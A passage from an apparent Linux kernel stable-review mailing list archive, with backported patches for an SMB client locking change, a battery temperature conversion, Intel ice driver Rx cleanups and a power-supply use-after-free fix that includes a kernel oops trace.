* the server's O_TRUNC open response set the i_size
*/
- inode_lock(inode);
- filemap_invalidate_lock(inode->i_mapping);
truncate_inode_pages(inode->i_mapping, 0);
- filemap_invalidate_unlock(inode->i_mapping);
- inode_unlock(inode);
cifs_invalidate_cache(inode, 0);
}
}
+
+out:
+ filemap_invalidate_unlock(inode->i_mapping);
+ inode_unlock(inode);
if (cfile)
cifsFileInfo_put(cfile);
return rc;
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 022/242] power: supply: generic-adc-battery: Fix temperature IIO channel conversion
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (20 preceding siblings ...)
2026-10-23 16:37 ` [PATCH 7.2 021/242] tools/power turbostat: Fix add_counter issue if > 24 counters Greg Kroah-Hartman
@ 2026-10-23 16:37 ` Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 7.2 023/242] power: supply: core: prevent unregistering a power supply while a callback runs Greg Kroah-Hartman
` (219 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:37 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Svyatoslav Ryhel, Sebastian Reichel,
Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Svyatoslav Ryhel <clamor95@gmail.com>
[ Upstream commit 6bca94e64255053ab2aa56f2588fda73d399b790 ]
Temperature IIO channel data is provided in milli-degrees, while
POWER_SUPPLY_PROP_TEMP is expected to be in deci-degrees. Adjust the
existing logic to reflect this conversion properly.
Fixes: 33088c0513818 ("power: supply: generic-adc-battery: add temperature support")
Signed-off-by: Svyatoslav Ryhel <clamor95@gmail.com>
Link: https://patch.msgid.link/20260926142905.206215-2-clamor95@gmail.com
Signed-off-by: Sebastian Reichel <sebastian.reichel@collabora.com>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
drivers/power/supply/generic-adc-battery.c | 9 +++++++--
1 file changed, 7 insertions(+), 2 deletions(-)
diff --git a/drivers/power/supply/generic-adc-battery.c b/drivers/power/supply/generic-adc-battery.c
index f5f2566b3a32d..c69c9b9fa0eba 100644
--- a/drivers/power/supply/generic-adc-battery.c
+++ b/drivers/power/supply/generic-adc-battery.c
@@ -90,12 +90,17 @@ static int gab_read_channel(struct gab *adc_bat, enum gab_chan_type channel,
int ret;
ret = iio_read_channel_processed(adc_bat->channel[channel], result);
- if (ret < 0)
+ if (ret < 0) {
dev_err(&adc_bat->psy->dev, "read channel error: %d\n", ret);
+ return ret;
+ }
+
+ if (channel == GAB_TEMP)
+ *result /= 100; /* Convert from milli- to deci-degree */
else
*result *= 1000;
- return ret;
+ return 0;
}
static int gab_get_property(struct power_supply *psy,
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 188/193] ice: remove legacy Rx and construct SKB
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (186 preceding siblings ...)
2026-10-23 16:37 ` [PATCH 6.18 187/193] smb: client: fix data corruption with concurrent writes and O_TRUNC Greg Kroah-Hartman
@ 2026-10-23 16:37 ` Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 189/193] ice: drop page splitting and recycling Greg Kroah-Hartman
` (15 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:37 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Alexander Lobakin, Jacob Keller,
Michal Kubiak, Alexander Nowlin, Tony Nguyen
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Michal Kubiak <michal.kubiak@intel.com>
commit 9e314a3c525c91c1e918546f472585cdbd44fbd1 upstream.
The commit 53844673d555 ("iavf: kill 'legacy-rx' for good") removed
the legacy Rx path in the iavf driver. This change applies the same
rationale to the ice driver.
The legacy Rx path relied on manual skb allocation and header copying,
which has become increasingly inefficient and difficult to maintain.
With the stabilization of build_skb() and the growing adoption of
features like XDP, page_pool, and multi-buffer support, the legacy
approach is no longer viable.
Key drawbacks of the legacy path included:
- Higher memory pressure due to direct page allocations and splitting;
- Redundant memcpy() operations for packet headers;
- CPU overhead from eth_get_headlen() and Flow Dissector usage;
- Compatibility issues with XDP, which imposes strict headroom and
tailroom requirements.
The ice driver, like iavf, does not benefit from the minimal headroom
savings that legacy Rx once offered, as it already splits pages into
fixed halves. Removing this path simplifies the Rx logic, eliminates
unnecessary branches in the hotpath, and prepares the driver for
upcoming enhancements.
In addition to removing the legacy Rx path, this change also eliminates
the custom construct_skb() functions from both the standard and
zero-copy (ZC) Rx paths. These are replaced with the build_skb()
and standardized xdp_build_skb_from_zc() helpers, aligning the driver
with the modern XDP infrastructure and reducing code duplication.
This cleanup also reduces code complexity and improves maintainability
as we move toward a more unified and modern Rx model across drivers.
Co-developed-by: Alexander Lobakin <aleksander.lobakin@intel.com>
Signed-off-by: Alexander Lobakin <aleksander.lobakin@intel.com>
Reviewed-by: Alexander Lobakin <aleksander.lobakin@intel.com>
Reviewed-by: Jacob Keller <jacob.e.keller@intel.com>
Signed-off-by: Michal Kubiak <michal.kubiak@intel.com>
Tested-by: Alexander Nowlin <alexander.nowlin@intel.com>
Signed-off-by: Tony Nguyen <anthony.l.nguyen@intel.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
drivers/net/ethernet/intel/ice/ice.h | 1
drivers/net/ethernet/intel/ice/ice_base.c | 23 -------
drivers/net/ethernet/intel/ice/ice_ethtool.c | 5 -
drivers/net/ethernet/intel/ice/ice_main.c | 11 ---
drivers/net/ethernet/intel/ice/ice_txrx.c | 86 ---------------------------
drivers/net/ethernet/intel/ice/ice_txrx.h | 16 -----
drivers/net/ethernet/intel/ice/ice_xsk.c | 72 ----------------------
7 files changed, 6 insertions(+), 208 deletions(-)
--- a/drivers/net/ethernet/intel/ice/ice.h
+++ b/drivers/net/ethernet/intel/ice/ice.h
@@ -509,7 +509,6 @@ enum ice_pf_flags {
ICE_FLAG_MOD_POWER_UNSUPPORTED,
ICE_FLAG_PHY_FW_LOAD_FAILED,
ICE_FLAG_ETHTOOL_CTXT, /* set when ethtool holds RTNL lock */
- ICE_FLAG_LEGACY_RX,
ICE_FLAG_VF_TRUE_PROMISC_ENA,
ICE_FLAG_MDD_AUTO_RESET_VF,
ICE_FLAG_VF_VLAN_PRUNING,
--- a/drivers/net/ethernet/intel/ice/ice_base.c
+++ b/drivers/net/ethernet/intel/ice/ice_base.c
@@ -462,19 +462,6 @@ u16 ice_calc_ts_ring_count(struct ice_tx
}
/**
- * ice_rx_offset - Return expected offset into page to access data
- * @rx_ring: Ring we are requesting offset of
- *
- * Returns the offset value for ring into the data buffer.
- */
-static unsigned int ice_rx_offset(struct ice_rx_ring *rx_ring)
-{
- if (ice_ring_uses_build_skb(rx_ring))
- return ICE_SKB_PAD;
- return 0;
-}
-
-/**
* ice_setup_rx_ctx - Configure a receive ring context
* @ring: The Rx ring to configure
*
@@ -586,13 +573,7 @@ static int ice_setup_rx_ctx(struct ice_r
if (vsi->type == ICE_VSI_VF)
return 0;
- /* configure Rx buffer alignment */
- if (!vsi->netdev || test_bit(ICE_FLAG_LEGACY_RX, vsi->back->flags))
- ice_clear_ring_build_skb_ena(ring);
- else
- ice_set_ring_build_skb_ena(ring);
-
- ring->rx_offset = ice_rx_offset(ring);
+ ring->rx_offset = ICE_SKB_PAD;
/* init queue specific tail register */
ring->tail = hw->hw_addr + QRX_TAIL(pf_q);
@@ -753,7 +734,7 @@ int ice_vsi_cfg_single_rxq(struct ice_vs
*/
static void ice_vsi_cfg_frame_size(struct ice_vsi *vsi, struct ice_rx_ring *ring)
{
- if (!vsi->netdev || test_bit(ICE_FLAG_LEGACY_RX, vsi->back->flags)) {
+ if (!vsi->netdev) {
ring->max_frame = ICE_MAX_FRAME_LEGACY_RX;
ring->rx_buf_len = ICE_RXBUF_1664;
#if (PAGE_SIZE < 8192)
--- a/drivers/net/ethernet/intel/ice/ice_ethtool.c
+++ b/drivers/net/ethernet/intel/ice/ice_ethtool.c
@@ -340,7 +340,6 @@ static const struct ice_priv_flag ice_gs
ICE_FLAG_VF_TRUE_PROMISC_ENA),
ICE_PRIV_FLAG("mdd-auto-reset-vf", ICE_FLAG_MDD_AUTO_RESET_VF),
ICE_PRIV_FLAG("vf-vlan-pruning", ICE_FLAG_VF_VLAN_PRUNING),
- ICE_PRIV_FLAG("legacy-rx", ICE_FLAG_LEGACY_RX),
};
#define ICE_PRIV_FLAG_ARRAY_SIZE ARRAY_SIZE(ice_gstrings_priv_flags)
@@ -1848,10 +1847,6 @@ static int ice_set_priv_flags(struct net
ice_nway_reset(netdev);
}
}
- if (test_bit(ICE_FLAG_LEGACY_RX, change_flags)) {
- /* down and up VSI so that changes of Rx cfg are reflected. */
- ice_down_up(vsi);
- }
/* don't allow modification of this flag when a single VF is in
* promiscuous mode because it's not supported
*/
--- a/drivers/net/ethernet/intel/ice/ice_main.c
+++ b/drivers/net/ethernet/intel/ice/ice_main.c
@@ -2957,10 +2957,7 @@ int ice_vsi_determine_xdp_res(struct ice
*/
static int ice_max_xdp_frame_size(struct ice_vsi *vsi)
{
- if (test_bit(ICE_FLAG_LEGACY_RX, vsi->back->flags))
- return ICE_RXBUF_1664;
- else
- return ICE_RXBUF_3072;
+ return ICE_RXBUF_3072;
}
/**
@@ -7879,12 +7876,6 @@ int ice_change_mtu(struct net_device *ne
frame_size - ICE_ETH_PKT_HDR_PAD);
return -EINVAL;
}
- } else if (test_bit(ICE_FLAG_LEGACY_RX, pf->flags)) {
- if (new_mtu + ICE_ETH_PKT_HDR_PAD > ICE_MAX_FRAME_LEGACY_RX) {
- netdev_err(netdev, "Too big MTU for legacy-rx; Max is %d\n",
- ICE_MAX_FRAME_LEGACY_RX - ICE_ETH_PKT_HDR_PAD);
- return -EINVAL;
- }
}
/* if a reset is in progress, wait for some time for it to complete */
--- a/drivers/net/ethernet/intel/ice/ice_txrx.c
+++ b/drivers/net/ethernet/intel/ice/ice_txrx.c
@@ -1171,87 +1171,6 @@ ice_build_skb(struct ice_rx_ring *rx_rin
}
/**
- * ice_construct_skb - Allocate skb and populate it
- * @rx_ring: Rx descriptor ring to transact packets on
- * @xdp: xdp_buff pointing to the data
- *
- * This function allocates an skb. It then populates it with the page
- * data from the current receive descriptor, taking care to set up the
- * skb correctly.
- */
-static struct sk_buff *
-ice_construct_skb(struct ice_rx_ring *rx_ring, struct xdp_buff *xdp)
-{
- unsigned int size = xdp->data_end - xdp->data;
- struct skb_shared_info *sinfo = NULL;
- struct ice_rx_buf *rx_buf;
- unsigned int nr_frags = 0;
- unsigned int headlen;
- struct sk_buff *skb;
-
- /* prefetch first cache line of first page */
- net_prefetch(xdp->data);
-
- if (unlikely(xdp_buff_has_frags(xdp))) {
- sinfo = xdp_get_shared_info_from_buff(xdp);
- nr_frags = sinfo->nr_frags;
- }
-
- /* allocate a skb to store the frags */
- skb = napi_alloc_skb(&rx_ring->q_vector->napi, ICE_RX_HDR_SIZE);
- if (unlikely(!skb))
- return NULL;
-
- rx_buf = &rx_ring->rx_buf[rx_ring->first_desc];
- skb_record_rx_queue(skb, rx_ring->q_index);
- /* Determine available headroom for copy */
- headlen = size;
- if (headlen > ICE_RX_HDR_SIZE)
- headlen = eth_get_headlen(skb->dev, xdp->data, ICE_RX_HDR_SIZE);
-
- /* align pull length to size of long to optimize memcpy performance */
- memcpy(__skb_put(skb, headlen), xdp->data, ALIGN(headlen,
- sizeof(long)));
-
- /* if we exhaust the linear part then add what is left as a frag */
- size -= headlen;
- if (size) {
- /* besides adding here a partial frag, we are going to add
- * frags from xdp_buff, make sure there is enough space for
- * them
- */
- if (unlikely(nr_frags >= MAX_SKB_FRAGS - 1)) {
- dev_kfree_skb(skb);
- return NULL;
- }
- skb_add_rx_frag(skb, 0, rx_buf->page,
- rx_buf->page_offset + headlen, size,
- xdp->frame_sz);
- } else {
- /* buffer is unused, restore biased page count in Rx buffer;
- * data was copied onto skb's linear part so there's no
- * need for adjusting page offset and we can reuse this buffer
- * as-is
- */
- rx_buf->pagecnt_bias++;
- }
-
- if (unlikely(xdp_buff_has_frags(xdp))) {
- struct skb_shared_info *skinfo = skb_shinfo(skb);
-
- memcpy(&skinfo->frags[skinfo->nr_frags], &sinfo->frags[0],
- sizeof(skb_frag_t) * nr_frags);
-
- xdp_update_skb_frags_info(skb, skinfo->nr_frags + nr_frags,
- sinfo->xdp_frags_size,
- nr_frags * xdp->frame_sz,
- xdp_buff_get_skb_flags(xdp));
- }
-
- return skb;
-}
-
-/**
* ice_put_rx_buf - Clean up used buffer and either recycle or free
* @rx_ring: Rx descriptor ring to transact packets on
* @rx_buf: Rx buffer to pull data from
@@ -1465,10 +1384,7 @@ static int ice_clean_rx_irq(struct ice_r
continue;
construct_skb:
- if (likely(ice_ring_uses_build_skb(rx_ring)))
- skb = ice_build_skb(rx_ring, xdp);
- else
- skb = ice_construct_skb(rx_ring, xdp);
+ skb = ice_build_skb(rx_ring, xdp);
/* exit if we failed to retrieve a buffer */
if (!skb) {
rx_ring->ring_stats->rx_stats.alloc_buf_failed++;
--- a/drivers/net/ethernet/intel/ice/ice_txrx.h
+++ b/drivers/net/ethernet/intel/ice/ice_txrx.h
@@ -381,7 +381,6 @@ struct ice_rx_ring {
dma_addr_t dma; /* physical address of ring */
u8 dcb_tc; /* Traffic class of ring */
u8 ptp_rx;
-#define ICE_RX_FLAGS_RING_BUILD_SKB BIT(1)
#define ICE_RX_FLAGS_CRC_STRIP_DIS BIT(2)
#define ICE_RX_FLAGS_MULTIDEV BIT(3)
#define ICE_RX_FLAGS_RING_GCS BIT(4)
@@ -439,21 +438,6 @@ struct ice_tx_ring {
__cacheline_group_end_aligned(cold);
} ____cacheline_internodealigned_in_smp;
-static inline bool ice_ring_uses_build_skb(struct ice_rx_ring *ring)
-{
- return !!(ring->flags & ICE_RX_FLAGS_RING_BUILD_SKB);
-}
-
-static inline void ice_set_ring_build_skb_ena(struct ice_rx_ring *ring)
-{
- ring->flags |= ICE_RX_FLAGS_RING_BUILD_SKB;
-}
-
-static inline void ice_clear_ring_build_skb_ena(struct ice_rx_ring *ring)
-{
- ring->flags &= ~ICE_RX_FLAGS_RING_BUILD_SKB;
-}
-
static inline bool ice_ring_ch_enabled(struct ice_tx_ring *ring)
{
return !!ring->ch;
--- a/drivers/net/ethernet/intel/ice/ice_xsk.c
+++ b/drivers/net/ethernet/intel/ice/ice_xsk.c
@@ -393,69 +393,6 @@ bool ice_alloc_rx_bufs_zc(struct ice_rx_
}
/**
- * ice_construct_skb_zc - Create an sk_buff from zero-copy buffer
- * @rx_ring: Rx ring
- * @xdp: Pointer to XDP buffer
- *
- * This function allocates a new skb from a zero-copy Rx buffer.
- *
- * Returns the skb on success, NULL on failure.
- */
-static struct sk_buff *
-ice_construct_skb_zc(struct ice_rx_ring *rx_ring, struct xdp_buff *xdp)
-{
- unsigned int totalsize = xdp->data_end - xdp->data_meta;
- unsigned int metasize = xdp->data - xdp->data_meta;
- struct skb_shared_info *sinfo = NULL;
- struct sk_buff *skb;
- u32 nr_frags = 0;
-
- if (unlikely(xdp_buff_has_frags(xdp))) {
- sinfo = xdp_get_shared_info_from_buff(xdp);
- nr_frags = sinfo->nr_frags;
- }
- net_prefetch(xdp->data_meta);
-
- skb = napi_alloc_skb(&rx_ring->q_vector->napi, totalsize);
- if (unlikely(!skb))
- return NULL;
-
- memcpy(__skb_put(skb, totalsize), xdp->data_meta,
- ALIGN(totalsize, sizeof(long)));
-
- if (metasize) {
- skb_metadata_set(skb, metasize);
- __skb_pull(skb, metasize);
- }
-
- if (likely(!xdp_buff_has_frags(xdp)))
- goto out;
-
- for (int i = 0; i < nr_frags; i++) {
- struct skb_shared_info *skinfo = skb_shinfo(skb);
- skb_frag_t *frag = &sinfo->frags[i];
- struct page *page;
- void *addr;
-
- page = dev_alloc_page();
- if (!page) {
- dev_kfree_skb(skb);
- return NULL;
- }
- addr = page_to_virt(page);
-
- memcpy(addr, skb_frag_page(frag), skb_frag_size(frag));
-
- __skb_fill_page_desc_noacc(skinfo, skinfo->nr_frags++,
- addr, 0, skb_frag_size(frag));
- }
-
-out:
- xsk_buff_free(xdp);
- return skb;
-}
-
-/**
* ice_clean_xdp_irq_zc - produce AF_XDP descriptors to CQ
* @xdp_ring: XDP Tx ring
* @xsk_pool: AF_XDP buffer pool pointer
@@ -757,20 +694,15 @@ int ice_clean_rx_irq_zc(struct ice_rx_ri
construct_skb:
/* XDP_PASS path */
- skb = ice_construct_skb_zc(rx_ring, first);
+ skb = xdp_build_skb_from_zc(first);
if (!skb) {
+ xsk_buff_free(first);
rx_ring->ring_stats->rx_stats.alloc_buf_failed++;
break;
}
first = NULL;
rx_ring->first_desc = ntc;
-
- if (eth_skb_pad(skb)) {
- skb = NULL;
- continue;
- }
-
total_rx_bytes += skb->len;
total_rx_packets++;
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 023/242] power: supply: core: prevent unregistering a power supply while a callback runs
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (21 preceding siblings ...)
2026-10-23 16:37 ` [PATCH 7.2 022/242] power: supply: generic-adc-battery: Fix temperature IIO channel conversion Greg Kroah-Hartman
@ 2026-10-23 16:37 ` Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 7.2 024/242] pinctrl: qcom: ipq5018: replace gcc_plltest with pwm2 on gpio12 Greg Kroah-Hartman
` (218 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:37 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Alexey Charkov, Sebastian Reichel,
Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Alexey Charkov <alchark@flipper.net>
[ Upstream commit 5b4bd13e0552926648a46c2c9a12a24dfaee3715 ]
Once a power supply is registered, its callbacks can immediately start
firing from other contexts, such as external_power_changed() triggered by
the TCPM stack. If a power supply is unregistered while the callback is
still running, the driver data can already be freed when the callback
tries to access it, leading to a use-after-free.
This happens e.g. when the hardware bus carrying the power supply device
malfunctions (e.g. I2C is hogged down by another malfunctioning device)
immediately after the power supply is registered, and thus the core is
still processing the callbacks which were queued up when the driver
starts the removal, leading in some cases to a kernel crash, e.g.:
[ 11.645942] Unable to handle kernel NULL pointer dereference at virtual address 0000000000000005
[ 11.646751] Mem abort info:
[ 11.647006] ESR = 0x0000000096000004
[ 11.647338] EC = 0x25: DABT (current EL), IL = 32 bits
[ 11.647806] SET = 0, FnV = 0
[ 11.648077] EA = 0, S1PTW = 0
[ 11.648356] FSC = 0x04: level 0 translation fault
[ 11.648785] Data abort info:
[ 11.649041] ISV = 0, ISS = 0x00000004, ISS2 = 0x00000000
[ 11.649524] CM = 0, WnR = 0, TnD = 0, TagAccess = 0
[ 11.649981] GCS = 0, Overlay = 0, DirtyBit = 0
[ 11.650390] [0000000000000005] user address but active_mm is swapper
[ 11.650955] Internal error: Oops: 0000000096000004 [#1] SMP
[ 11.651460] Modules linked in:
[ 11.651742] CPU: 1 UID: 0 PID: 144 Comm: kworker/1:2 Not tainted 7.2.0-rc6-g62a9297af2cd #1 PREEMPT
[ 11.652553] Hardware name: Flipper One rev. F0B1C2 (DT)
[ 11.653024] Workqueue: events power_supply_changed_work
[ 11.653511] pstate: 60000005 (nZCv daif -PAN -UAO -TCO -DIT -SSBS BTYPE=--)
[ 11.654135] pc : __power_supply_is_supplied_by+0x18/0x100
[ 11.654624] lr : __power_supply_am_i_supplied+0x40/0xb8
[ 11.655098] sp : ffff80008192bb30
[ 11.655399] x29: ffff80008192bb30 x28: 0000000000000000 x27: 0000000000000000
[ 11.656049] x26: 0000000000000000 x25: 0000000000000000 x24: 0000000000000000
[ 11.656695] x23: ffff0000c19f4200 x22: ffffdb2232ba4ea8 x21: ffff80008192bc28
[ 11.657344] x20: ffff0000c1eef000 x19: ffff80008192bc18 x18: 00000000a0886e62
[ 11.657991] x17: 000000040044ffff x16: 04500072b5503510 x15: 0000000000000000
[ 11.658639] x14: 0000000000000000 x13: 0000000000000220 x12: 0000000000000000
[ 11.659286] x11: 0000000000000000 x10: ffff0000c1fdb2b0 x9 : ffffdb2232ba5590
[ 11.659934] x8 : 00000000e5b906e6 x7 : ffff0000c2502778 x6 : ffffdb22339793d0
[ 11.660581] x5 : ffff80008192bc18 x4 : ffff0000c19cbca0 x3 : 0000000000000000
[ 11.661228] x2 : ffff0000c1fdaf40 x1 : ffffffffffffffed x0 : ffff0000c1eef000
[ 11.661878] Call trace:
[ 11.662103] __power_supply_is_supplied_by+0x18/0x100 (P)
[ 11.662596] __power_supply_am_i_supplied+0x40/0xb8
[ 11.663040] psy_for_each_psy_cb+0x20/0x40
[ 11.663416] class_for_each_device+0x110/0x150
[ 11.663825] power_supply_am_i_supplied+0x68/0x100
[ 11.664262] bq257xx_external_power_changed+0x58/0x140
[ 11.664733] __power_supply_changed_work+0x60/0x80
[ 11.665170] psy_for_each_psy_cb+0x20/0x40
[ 11.665545] class_for_each_device+0x110/0x150
[ 11.665953] power_supply_changed_work+0x98/0x1b8
[ 11.666382] process_one_work+0x164/0x4c0
[ 11.666758] worker_thread+0x19c/0x320
[ 11.667104] kthread+0x138/0x150
[ 11.667408] ret_from_fork+0x10/0x20
[ 11.667744] Code: d503233f a9bd7bfd 910003fd a90153f3 (f9400c34)
[ 11.668294] ---[ end trace 0000000000000000 ]---
Add a read-write semaphore between external_power_changed() and
power_supply_unregister() to prevent the latter from returning (and thus
the driver from freeing its data) while the callback is still running.
Fixes: bc1540561c9e ("power_supply: Add API for safe access of power supply function attrs")
Signed-off-by: Alexey Charkov <alchark@flipper.net>
Link: https://patch.msgid.link/20260910-bq257xx-init-v3-1-4e219a1a04a5@flipper.net
Signed-off-by: Sebastian Reichel <sebastian.reichel@collabora.com>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
drivers/power/supply/power_supply_core.c | 26 +++++++++++++++++++++++-
include/linux/power_supply.h | 10 +++++++++
2 files changed, 35 insertions(+), 1 deletion(-)
diff --git a/drivers/power/supply/power_supply_core.c b/drivers/power/supply/power_supply_core.c
index 2532e221b2e19..b83f0858afab3 100644
--- a/drivers/power/supply/power_supply_core.c
+++ b/drivers/power/supply/power_supply_core.c
@@ -1377,6 +1377,19 @@ void power_supply_external_power_changed(struct power_supply *psy)
!psy->desc->external_power_changed)
return;
+ /*
+ * Keep power_supply_unregister() from returning, and thus from letting
+ * the driver's data be freed, while the callback is running. The
+ * ->removing check has to happen under the lock: on its own, just like
+ * the use_cnt check above, it only tells us the supply was still there
+ * when we looked, not that it still is by the time the callback
+ * dereferences its driver data.
+ */
+ guard(rwsem_read)(&psy->epc_sem);
+
+ if (psy->removing)
+ return;
+
psy->desc->external_power_changed(psy);
}
EXPORT_SYMBOL_GPL(power_supply_external_power_changed);
@@ -1621,6 +1634,7 @@ __power_supply_register(struct device *parent,
}
spin_lock_init(&psy->changed_lock);
+ init_rwsem(&psy->epc_sem);
init_rwsem(&psy->extensions_sem);
INIT_LIST_HEAD(&psy->extensions);
@@ -1753,7 +1767,17 @@ EXPORT_SYMBOL_GPL(devm_power_supply_register);
void power_supply_unregister(struct power_supply *psy)
{
WARN_ON(atomic_dec_return(&psy->use_cnt));
- psy->removing = true;
+
+ /*
+ * Publish ->removing so that no new ->external_power_changed() call can
+ * start, and wait via semaphore for one that is already running: it may
+ * be a supplier's changed_work, which cancel_work_sync() below does not
+ * cover, and it may still dereference driver data that the caller is
+ * about to free.
+ */
+ scoped_guard(rwsem_write, &psy->epc_sem)
+ psy->removing = true;
+
cancel_work_sync(&psy->changed_work);
cancel_delayed_work_sync(&psy->deferred_register_work);
sysfs_remove_link(&psy->dev.kobj, "powers");
diff --git a/include/linux/power_supply.h b/include/linux/power_supply.h
index b85fd02409c67..433ac0923bda1 100644
--- a/include/linux/power_supply.h
+++ b/include/linux/power_supply.h
@@ -338,6 +338,16 @@ struct power_supply {
bool removing;
atomic_t use_cnt;
struct power_supply_battery_info *battery_info;
+ /*
+ * Held for read while ->external_power_changed() runs, and for write by
+ * power_supply_unregister() when it publishes @removing, so that it
+ * waits for an in-flight callback to finish. Without this a driver's
+ * data, typically devm-allocated on its own device, can be freed while
+ * the callback is still using it.
+ * Must not be shared with extensions_sem: callbacks may read their own
+ * properties, which takes that one for read.
+ */
+ struct rw_semaphore epc_sem;
struct rw_semaphore extensions_sem; /* protects "extensions" */
struct list_head extensions;
#ifdef CONFIG_THERMAL
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 189/193] ice: drop page splitting and recycling
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (187 preceding siblings ...)
2026-10-23 16:37 ` [PATCH 6.18 188/193] ice: remove legacy Rx and construct SKB Greg Kroah-Hartman
@ 2026-10-23 16:37 ` Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 190/193] ice: switch to Page Pool Greg Kroah-Hartman
` (14 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:37 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Alexander Lobakin, Jacob Keller,
Michal Kubiak, Alexander Nowlin, Tony Nguyen
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Michal Kubiak <michal.kubiak@intel.com>
commit 3a4f419f750946181e3d6a339a1ef1942c5b5685 upstream.
As part of the transition toward Page Pool integration, remove the
legacy page splitting and recycling logic from the ice driver. This
mirrors the approach taken in commit 920d86f3c552 ("iavf: drop page
splitting and recycling").
The previous model attempted to reuse partially consumed pages by
splitting them and tracking their usage across descriptors. While
this was once a memory optimization, it introduced significant
complexity and overhead in the Rx path, including:
- Manual refcount management and page reuse heuristics;
- Per-descriptor buffer shuffling, which could involve moving dozens
of `ice_rx_buf` structures per NAPI cycle;
- Increased branching and cache pressure in the hotpath.
This change simplifies the Rx logic by always allocating fresh pages
and letting the networking stack handle their lifecycle. Although this
may temporarily reduce performance (up to ~98% in some XDP cases), it
greatly improves maintainability and paves the way for Page Pool,
which will restore and exceed previous performance levels.
The `ice_rx_buf` array is retained for now to minimize diffstat and
ease future replacement with a shared buffer abstraction.
Co-developed-by: Alexander Lobakin <aleksander.lobakin@intel.com>
Signed-off-by: Alexander Lobakin <aleksander.lobakin@intel.com>
Reviewed-by: Alexander Lobakin <aleksander.lobakin@intel.com>
Reviewed-by: Jacob Keller <jacob.e.keller@intel.com>
Signed-off-by: Michal Kubiak <michal.kubiak@intel.com>
Tested-by: Alexander Nowlin <alexander.nowlin@intel.com>
Signed-off-by: Tony Nguyen <anthony.l.nguyen@intel.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
drivers/net/ethernet/intel/ice/ice.h | 2
drivers/net/ethernet/intel/ice/ice_base.c | 29 ++---
drivers/net/ethernet/intel/ice/ice_txrx.c | 139 +--------------------------
drivers/net/ethernet/intel/ice/ice_txrx.h | 72 -------------
drivers/net/ethernet/intel/ice/virt/queues.c | 5
5 files changed, 24 insertions(+), 223 deletions(-)
--- a/drivers/net/ethernet/intel/ice/ice.h
+++ b/drivers/net/ethernet/intel/ice/ice.h
@@ -374,6 +374,8 @@ struct ice_vsi {
spinlock_t arfs_lock; /* protects aRFS hash table and filter state */
atomic_t *arfs_last_fltr_id;
+ u16 max_frame;
+
struct ice_aqc_vsi_props info; /* VSI properties */
struct ice_vsi_vlan_info vlan_info; /* vlan config to be restored */
--- a/drivers/net/ethernet/intel/ice/ice_base.c
+++ b/drivers/net/ethernet/intel/ice/ice_base.c
@@ -495,7 +495,7 @@ static int ice_setup_rx_ctx(struct ice_r
/* Receive Packet Data Buffer Size.
* The Packet Data Buffer Size is defined in 128 byte units.
*/
- rlan_ctx.dbuf = DIV_ROUND_UP(ring->rx_buf_len,
+ rlan_ctx.dbuf = DIV_ROUND_UP(ICE_RXBUF_3072,
BIT_ULL(ICE_RLAN_CTX_DBUF_S));
/* use 32 byte descriptors */
@@ -536,8 +536,8 @@ static int ice_setup_rx_ctx(struct ice_r
/* Max packet size for this queue - must not be set to a larger value
* than 5 x DBUF
*/
- rlan_ctx.rxmax = min_t(u32, ring->max_frame,
- ICE_MAX_CHAINED_RX_BUFS * ring->rx_buf_len);
+ rlan_ctx.rxmax = min_t(u32, vsi->max_frame,
+ ICE_MAX_CHAINED_RX_BUFS * ICE_RXBUF_3072);
/* Rx queue threshold in units of 64 */
rlan_ctx.lrxqthresh = 1;
@@ -608,7 +608,7 @@ static unsigned int ice_get_frame_sz(str
#if (PAGE_SIZE >= 8192)
frame_sz = rx_ring->rx_buf_len;
#else
- frame_sz = ice_rx_pg_size(rx_ring) / 2;
+ frame_sz = PAGE_SIZE;
#endif
return frame_sz;
@@ -624,6 +624,7 @@ static int ice_vsi_cfg_rxq(struct ice_rx
{
struct device *dev = ice_pf_to_dev(ring->vsi->back);
u32 num_bufs = ICE_RX_DESC_UNUSED(ring);
+ u32 rx_buf_len;
int err;
if (ring->vsi->type == ICE_VSI_PF || ring->vsi->type == ICE_VSI_SF) {
@@ -631,7 +632,7 @@ static int ice_vsi_cfg_rxq(struct ice_rx
err = __xdp_rxq_info_reg(&ring->xdp_rxq, ring->netdev,
ring->q_index,
ring->q_vector->napi.napi_id,
- ring->rx_buf_len);
+ ICE_RXBUF_3072);
if (err)
return err;
}
@@ -640,12 +641,12 @@ static int ice_vsi_cfg_rxq(struct ice_rx
